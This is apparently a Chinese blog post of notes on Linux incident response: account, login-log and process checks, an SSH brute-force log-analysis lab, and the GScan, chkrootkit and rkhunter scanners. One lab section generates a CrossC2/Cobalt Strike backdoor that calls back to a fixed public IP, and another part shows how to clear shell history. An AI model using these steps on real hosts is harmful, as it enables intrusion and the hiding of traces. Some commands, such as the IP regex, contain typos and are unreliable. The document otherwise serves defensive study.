在操作系统上常见分析有:计算机账户,端口,进程,网络,启动项,异常服务,任务(异常定时任务执行),文件(异常文件,如后门、病毒、木马)等安全问题

应急响应这个东西更多的是需要积累经验

系统基本信息

对于 linux 系统的主机排查,可以使用相关命令查看 CPU 信息、操作系统信息及模块信息等。

  1. CPU 信息
lscpu		#查看 CPU 相关信息,包括型号、主频、内核等
  1. 操作系统信息
uname -a		#查看当前操作系统信息
cat /proc/version #当前操作系统版本信息
  1. 模块信息
lsmod	#查看已载入系统的模块信息

用户信息排查

命令

cat /etc/shadow	#查看密码
cat /etc/group #查看组信息
history #查看 root 用户执行的历史命令
last #查看最近登录成功的用户及信息
lastlog #显示主机所有用户最近一次登录信息

id #当前用户信息
who #查看当前登录系统的所有用户
w #显示已经登陆系统的用户列表,并显示用户正在执行的指令
users #显示当前登录系统的所有用户的用户列表
usermod -L user #禁用帐号,帐号无法登录,/etc/shadow 第二栏为!开头
userdel -r user #删除 user 用户,并且将/home 目录下的 user 目录一并删除
last #用于显示用户最近登录信息。
# 查看可以远程登录的用户
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查看拥有 sudo 权限的用户
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 查看超级用户(uid=0),有些黑客将普通用户的 uid 改为 0,则该普通用户也拥有了超级权限
awk -F: '$3==0{print $1}' /etc/passwd

系统用户账户文件格式 说明

用户信息文件:/etc/passwd

root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
格式:用户名:密码:用户 ID:组:组 ID:用户说明:家目录:登陆之后:用户说明:家目录:登陆之后 shell

注意:无密码只允许本机登陆,远程不允许登陆

历史命令信息

.bash_history 文件

Linux 系统可以通过 .bash_history 文件查看帐号执行过的系统命令:

  1. 查看 root 用户的历史命令:histroy

  2. 打开 /home 各帐号目录下的.bash_history,执行命令:cat .bash_history >> history.txt,可查看普通帐号的历史命令

  3. 历史操作命令的清除:history -c

    注意此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile 文件中的记录。

让 history 命令显示日期和时间

echo 'HISTTIMEFORMAT="%F %T "' >> /etc/profile
source /etc/profile

为历史的命令增加登录的IP地址、执行命令时间等信息:

  1. 保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
  1. 在/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
  1. source /etc/profile让配置生效
生成效果: 1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

历史登录信息

who命令:

who默认输出包括用户名、终端类型、登陆日期以及远程主机。

who -H /var/log/wtmp 

可以查看自从wtmp文件创建以来的每一次登陆情况

  • -b:查看系统最近一次启动时间
  • -H:打印每列的标题,就是表头,指该列是代表什么

users命令:

打印当前登录的用户,每个显示的用户名对应一个登陆会话。

last命令

查看用户登录历史 。此命令会读取 /var/log/wtmp文件;/var/log/btmp可以显示远程登陆信息。

  • last默认打印所有用户的登陆信息;
  • 如果想打印指定用户的登陆信息,可以使用 last 用户名
last -t 20230701120000

选项:

  • -x:显示系统开关机以及执行等级信息

  • -a:将登陆ip显示在最后一行

  • -f :读取特定文件,可以选择 -f /var/log/btmp文件

  • -d:将IP地址转换为主机名

  • -n:设置列出名单的显示列数

  • -t:查看指定时间的用户登录历史

    例如:

    last -t 20150226160404

    显示这个时间戳之前的登陆历史

lastlog命令

查看所有用户最近一次登录历史,可以看到除了 root 之外
其他账户均未登录过(均为不可登录的账户):

image-20230219200652462

命令将读取/var/log/lastlog文件;用户排列顺序按照/etc/passwd中的顺序

选项:

  • -u:查看某个用户的最后一次登陆历史

例如: lastlog -u test

查看用户test的登陆历史

  • -t:查看最近几天之内的用户登录历史

例如:lastlog -t 1

查看最近1天之内的登陆历史

  • -b:查看指定天数之前的用户登录历史

例如:lastlog -b 60

查看60天之前的用户登录历史

ac命令

根据/var/log/wtmp文件中的登陆和退出时间报告用户连接的时间(小时),默认输出报告总时间

  • -p:显示每个用户的连接时间
  • -d:显示每天的连接时间
  • -y:显示年份,和-d配合使用

查看日志文件

Linux查看/var/log/wtmp文件查看可疑IP登陆

last -f /var/log/wtmp

该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件。因此随着系统正常运行时间的增加,该文件的大小也会越来越大,

增加的速度取决于系统用户登录的次数。该日志文件可以用来查看用户的登录记录,

last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户、终端tty或时间显示相应的记录。

查看/var/log/secure文件寻找可疑IP登陆次数

加固:脚本生成所有登录用户的操作历史

在linux系统的环境下,不管是root用户还是其它的用户只有登陆系统后用进入操作我们都可以通过命令history来查看历史记录,可是假如一台服务器多人登陆,一天因为某人误操作了删除了重要的数据。

这时候通过查看历史记录(命令:history)是没有什么意义了(因为history只针对登录用户下执行有效,即使root用户也无法得到其它用户histotry历史)。那有没有什么办法实现通过记录登陆后的IP地址和某用户名所操作的历史记录呢?答案:有的。

  1. 通过在/etc/profile里面加入以下代码就可以实现:
PS1="`whoami`@`hostname`:"'[$PWD]'
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
if [ ! -d /tmp/dbasky ]
then
mkdir /tmp/dbasky
chmod 777 /tmp/dbasky
fi
if [ ! -d /tmp/dbasky/${LOGNAME} ]
then
mkdir /tmp/dbasky/${LOGNAME}
chmod 300 /tmp/dbasky/${LOGNAME}
fi
export HISTSIZE=4096
DT=`date "+%Y-%m-%d_%H:%M:%S"`
export HISTFILE="/tmp/dbasky/${LOGNAME}/${USER_IP}-dbasky.$DT"
chmod 600 /tmp/dbasky/${LOGNAME}/*dbasky* 2>/dev/null
  1. source /etc/profile 使用脚本生效

  2. 退出用户,重新登录

脚本在系统的/tmp新建个dbasky目录,记录所有登陆过系统的用户和IP地址(文件名),每当用户登录/退出都会创建相应的文件,该文件保存这段用户登录时期内操作历史,可以用这个方法来监测系统的安全性。

root@zsc6:[/tmp/dbasky/root]ls
10.1.80.47 dbasky.2013-10-24_12:53:08
root@zsc6:[/tmp/dbasky/root]cat 10.1.80.47 dbasky.2013-10-24_12:53:08

进程端口排查

命令

netstat -antlp				#检查端口连接情况
netstat -antlp | grep 18176 #查看端口连接情况,过滤含有字符“18176”的行
top #动态查看进程
ls -l /proc/18176/exe #查看 PID 为 18176 的进程的可执行程序
lsof -p 18176 #查看 PID 为 18176 的进程打开的文件
lsof -c sshd #查看进程 sshd 打开的文件
lsof -i:33946 #查看 33946 端口对应的一些进程
fuser -n tcp 33946 #查看 33946 端口对应的进程 PID
pstree #查看进程树
ps aux #静态查看进程
ps aux | grep ssh #查看与 ssh 相关的进程
ps aux --sort -pcpu #静态查看进程,根据 cpu 使用情况排行,从高到低
ps aux --sort -pmem #静态查看进程,根据内存使用情况排行,从高到低
ps -p PID -o lstart #查看进程的启动时间点
kill -9 pid #强制杀死进程

一些说明:

  • 使用 ps aux --sort -pcpu 命令查看系统进程(根据 CPU 使用情况排行,从高到低,如果 CPU
    占用率超过 70% 且名字可疑,大概率是中了挖矿病毒了)~

服务排查

服务可以理解为运行在后台的进程。这些服务可以在计算机启动时自动启动, 也可以暂停和重新启动,而且不显示任何用户界面。服务非常适合在服务器上使 用,通常在为了不影响在同一台计算机上工作的其他用户,且需要长时间运行功 能时使用。在应急响应排查过程中,服务作为一种运行在后台的进程,是恶意软件常用的驻留方法。

Linux 系统服务服务

  1. 检查是否存在可疑服务,执行命令 service --status-all,枚举主机所有服务的状态,查看是否有恶意服务:
image-20230219212344975
  1. 当发现入侵,杀掉了恶意进程后,过一段时间如果恶意进程又会重新启动,则说明该进程有守护进程,此时应检查是否存在可疑定时任务,可使用 cat /etc/anacrontab 查看anacron 异步定时任务,同时使用 crontab -l 枚举定时任务。

检查服务器开机启动项

文件位置 作用
/etc/profile.d/ /etc/profile.d/*.sh 是 bash 的全局配置文件,/etc/profile.d/ 下有许多 shell 脚本,可以在开机时启动
/etc/init.d/ 该目录内放的是各个服务的启动脚本,比如 sshd、httpd 等
/etc/rc.local /etc/rc.local 是/etc/rc.d/rc.local 的软连接,该脚本是在系统初始化级别脚本运行之后再执行的
/etc/rc.d/rcX.d/ # rcX.d 是目录名,后面的 X 代表着每个运行级别,里面服务都是软连接,真正的目录是 /etc/init.d 下的脚本,可用 ls –l 查看软链接

核查部分启动项:

ls /etc/init.d/

例子:

当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d 目录下,然后在/etc/rc.d/rc*.d 中建立软链接即可:

ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
  • 此处的 sshd 是具体服务的脚本文件,S100ssh 是其软连接,S 开头代表加载时自启动;
  • 如果是 K 开头的脚本文件,代表运行级别加载时需要关闭的。

RPM 软件包检查

RPM 软件包检查(RPM 包是预先在 Linux 机器上编译好并打包好的软件安装包),Linux 系统完整性可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了:

rpm -Va

验证内容中的 8 个信息的具体内容如下:

S 文件大小是否改变
M 文件的类型或文件的权限(rwx)是否被改变
5 文件 MD5 校验是否改变(可以看成文件内容是否改变)
D 设备中,从代码是否改变
L 文件路径是否改变
U 文件的属主(所有者)是否改变
G 文件的属组是否改变
T 文件的修改时间是否改变

如果一切均校验正常将不会产生任何输出;如果有不一致的地方,就会显示出来,输出格式是 8 位长字符串,每个字符都用以表示文件与 RPM 数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。

image-20230219214957027

日志

日志审计 | 晚上十一点睡觉のBlog (gungnir.top)

实战案例

对SSH进行爆破 查看日志(Centos为例)

  1. 先用工具对ssh进行爆破
image-20221020215524120

可以看到爆破前的日志:

image-20221020222036934

开始估计后查看日志:

image-20221021004819022

  1. 统计了下日志,确认服务器遭受多少次暴力破解

grep命令筛选:

-o # 只输出文件中匹配到的部分。
-E --extended-regexp # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
-e<范本样式> --regexp=<范本样式> # 指定字符串作为查找文件内容的范本样式。

uniq命令:报告或忽略文件中的重复行

-c或——count:#在每列旁边显示该行重复出现的次数;
grep -o "Failed password" /var/log/secure|uniq -c 
  1. 输出登录爆破的第一行和最后一行,确认爆破时间范围
grep "Failed password" /var/log/secure|head -1 
grep "Failed password" /var/log/secure|tail -1

image-20221021004921433

  1. 进一步定位有哪些 IP 在爆破?

sort命令:

-n:依照数值的大小排序;
-r:以相反的顺序来排序;
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[04][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][09]?)"|uniq -c | sort -nr 

image-20221021004946069

  1. 爆破用户名字典都有哪些?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr 

image-20221021005024287

  1. 登录成功的日期、用户名、IP
#登录成功日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
#去重后的
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

linux cs木马上线分析:

借助 CrossC2 项目上线Linux,geacon也可以上线Linux

0x17 - 渗透测试框架 Cobalt Strike | 晚上十一点睡觉の Blog (gungnir.top)

netstat -ntulp 
  1. 项目上传至CS服务端目录,给予执行权限

imgimg

  1. 配置监听器:监听器为windows/beacon_https/reverse_https 注:如果是阿里云记得端口放行,同时需要关闭linux默认防火墙
img
  1. 生成后门:
./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2 
  1. 将后门上传到linux主机并执行上线

  2. 通过网络监听工具及 windows 日志分析或执行记录查找后门问题

Linux应急响应工具

自动化响应监测-Gscan多重功能脚本测试

简介

GScan 是一款开源的 Linux 应急响应工具。本程序旨在为安全应急响应人员对 Linux 主机排查时提供便利,实现主机侧 Checklist 的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源,此程序的特点:

  • 程序检测的逻辑和方法,均是由一线安全应急人员根据多年实战经验总结出来的;
  • 程序包括 10W+的恶意特征信息,用于恶意文件的比对和查杀;
  • 结果自动化分析,进行黑客攻击溯源。
  • 还是比较nb的一款自动化运维工具。

具体操作指南看GitHub的readme: GScan v0.1

自动化程序的CheckList项

1、主机信息获取
2、系统初始化alias检查
3、文件类安全扫描
3.1、系统重要文件完整行扫描
3.2、系统可执行文件安全扫描
3.3、临时目录文件安全扫描
3.4、用户目录文件扫描
3.5、可疑隐藏文件扫描
4、各用户历史操作类
4.1、境外ip操作类
4.2、反弹shell类
5、进程类安全检测
5.1、CUP和内存使用异常进程排查
5.2、隐藏进程安全扫描
5.3、反弹shell类进程扫描
5.4、恶意进程信息安全扫描
5.5、进程对应可执行文件安全扫描
6、网络类安全检测
6.1、境外IP链接扫描
6.3、恶意特征链接扫描
6.4、网卡混杂模式检测
7、后门类检测
7.1、LD_PRELOAD后门检测
7.2、LD_AOUT_PRELOAD后门检测
7.3、LD_ELF_PRELOAD后门检测
7.4、LD_LIBRARY_PATH后门检测
7.5、ld.so.preload后门检测
7.6、PROMPT_COMMAND后门检测
7.7、Cron后门检测
7.8、Alias后门
7.9、SSH 后门检测
7.10、SSH wrapper 后门检测
7.11、inetd.conf 后门检测
7.12、xinetd.conf 后门检测
7.13、setUID 后门检测
7.14、8种系统启动项后门检测
8、账户类安全排查
8.1、root权限账户检测
8.2、空口令账户检测
8.3、sudoers文件用户权限检测
8.4、查看各账户下登录公钥
8.5、账户密码文件权限检测
9、日志类安全分析
9.1、secure登陆日志
9.2、wtmp登陆日志
9.3、utmp登陆日志
9.4、lastlog登陆日志
10、安全配置类分析
10.1、DNS配置检测
10.2、Iptables防火墙配置检测
10.3、hosts配置检测
11、Rootkit分析
11.1、检查已知rootkit文件类特征
11.2、检查已知rootkit LKM类特征
11.3、检查已知恶意软件类特征检测
12.WebShell类文件扫描
12.1、WebShell类文件扫描

测试环境

  • 系统:CentOS (6、7) + python (2.x、3.x)

  • 权限:root权限启动

  • 执行时间:默认安全扫描大概执行时间为4~6分钟,完全扫描在1~2小时之间,程序执行时间的长度由检测文件的多少决定,有可能会存在较长的时间,请耐心等待

  • 兼容性:目前程序只针对Centos进行开发测试,其他系统并未做兼容性,检测结果未知

命令

git clone https://github.com/grayddq/GScan.git
cd GScan
python GScan.py -h
image-20221021062755991

执行完之后,会生成 /GScan/log/gscan.log 文件,详细记录分析结果,例如:被植入的shell、修改的文件、可能被攻击的位置

image-20230220005457784

病毒查杀

Rootkit 查杀

Rootkit 是一种系统内核级病毒木马,其进入内核模块后能获取到操作系统高级权限,从而使用各种底层技术隐藏和保护自身,绕开安全软件的检测和查杀。

Linux 系统可以使用 chkrootkit 工具(网址:http://www.chkrootkit.org)进行 Rootkit 查杀,其使用方法:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
#编译完成没有报错的话执行检查
./chkrootkit

在 Linux 系统中安装 rkhunter

wget http://jaist.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
# 第一步、安装 rkhunter
tar -zxf rkhunter-1.4.6.tar.gz
cd rkhunter-1.4.6
./installer.sh --install
# 第二步:更新 rkhunter
rkhunter --update #更新 rkhunter 版本
rkhunter --propupd #更新 rkhunter 的特征数据库
# 第三步:使用 rkhunter
# 常见命令如下
rkhunter --check --sk #自动检测每个部分中间不需要暂停
rkhunter --check #自动检测每个部分,每监测完一个部分中断一次,输入 enter 之后会继续检测下个部分
--configfile <file> #使用特定配置文件
--cronjob #作为 cron 任务定期运行
--sk, --skip-keypress #自动完成所有检测,跳过键盘输入
--summary #显示检测结果的统计信息
--versioncheck #检测最新版本
# 第四步、执行检测命令
rkhunter --check
# 如果您不想要每个部分都以 Enter 来继续,想要让程序自动持续执行,可以使用:
rkhunter --check --sk

注意:

官方网站的建议,如果被 rootkit 之类的程序包攻击,那么最好最好直接重新安装系统, 不要存在说可以移除 rootkit 或者木马程序的幻想,因为,『隐藏』本来就是 rootkit 与木马程序的拿手好戏!


refer

声明:

  1. 若文章存在错误,望诸君不吝指正^

  2. 部分笔记由于年代久远,做的笔记找不到最初是引用谁的,若是不允许引用转载,请联系我